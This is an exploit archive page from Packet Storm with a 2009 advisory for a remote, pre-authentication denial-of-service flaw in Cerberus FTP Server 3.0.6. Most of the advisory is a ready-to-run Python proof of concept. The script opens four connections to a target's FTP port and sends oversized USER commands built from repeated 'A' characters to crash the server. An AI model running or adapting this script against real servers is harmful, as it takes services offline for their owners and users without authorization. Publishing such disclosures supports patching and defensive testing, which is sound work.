what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Cerberus FTP 3.0.6 Denial Of Service

Cerberus FTP 3.0.6 Denial Of Service
Posted Oct 2, 2009
Authored by Francis Provencher

Cerberus FTP version 3.0.6 suffers from a remote denial of service vulnerability.

tags | exploit, remote, denial of service
SHA-256 | ff4740488f314e311cf5ca7ee1ecf511fcf6838ffab91a647ba69d5bad0a7cf7

Cerberus FTP 3.0.6 Denial Of Service

Change Mirror Download
#####################################################################################

Application: Cerberus FTP 3.0.6

Platforms: Windows XP Professional SP2
Windows Vista SP1

crash: YES

Exploitation: Remote DoS

Date: 2009-09-30

Author: Francis Provencher (Protek Research Lab's)


#####################################################################################

1) Introduction
2) Technical details
3) The Code


#####################################################################################

===============
1) Introduction
===============

Cerberus FTP Server is a secure and easy-to-use professional Windows FTP server featuring FIPS 140-2 certified encryption.

(from Cerberus FTP server website)


#####################################################################################

============================
2) Technical details
============================

Cerberus FTP server Professional
Version 3.0.6
Build date 2009/09/28



#####################################################################################

===========
3) The Code
===========

Proof of concept DoS code;


#!/usr/bin/env python

###################################################################################
#
# Cerberus FTP Server Denial of Service Exploit (Pre Auth)
# Found By: Francis Provencher (Protek Research Lab's)
# Tested On: Windows XPSP2
# Usage: ./script <Target IP>
#
###################################################################################

import socket, sys

def banner():
print "\n##################################################################"
print "# #"
print "# Cerberus FTP Server Denial of Service Exploit (Pre Auth) #"
print "# Francis Provencher (Protek Researh Lab's) #"
print "# #"
print "##################################################################\n"

s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s4 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);

buff1 = ("\x41" * 330 );
buff2 = ("\x41" * 520 );
buff3 = ("\x41" * 2230 );


try:
banner();
print ("[*] Connecting to target...");
s1.connect((sys.argv[1] , 21));
s2.connect((sys.argv[1] , 21));
s3.connect((sys.argv[1] , 21));
s4.connect((sys.argv[1] , 21));
print ("[*] Sending evil stuff...");
s1.send("USER " + buff1 + "\r\n");
s2.send("USER " + buff2 + "\r\n");
s3.send("USER " + buff3 + "\r\n");
s4.send("USER " + buff1 + "\r\n");
print ("[*] Success! The server should now be inaccessible");
s1.close();
s2.close();
s3.close();
s4.close();

except:
print ("[-] Could not connect to server.");



#####################################################################################
(PRL-2009-09)


__________________________________________________________________
Be smarter than spam. See how smart SpamGuard is at giving junk email the boot with the All-new Yahoo! Mail. Click on Options in Mail and switch to New Mail today or register for free at http://mail.yahoo.ca
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close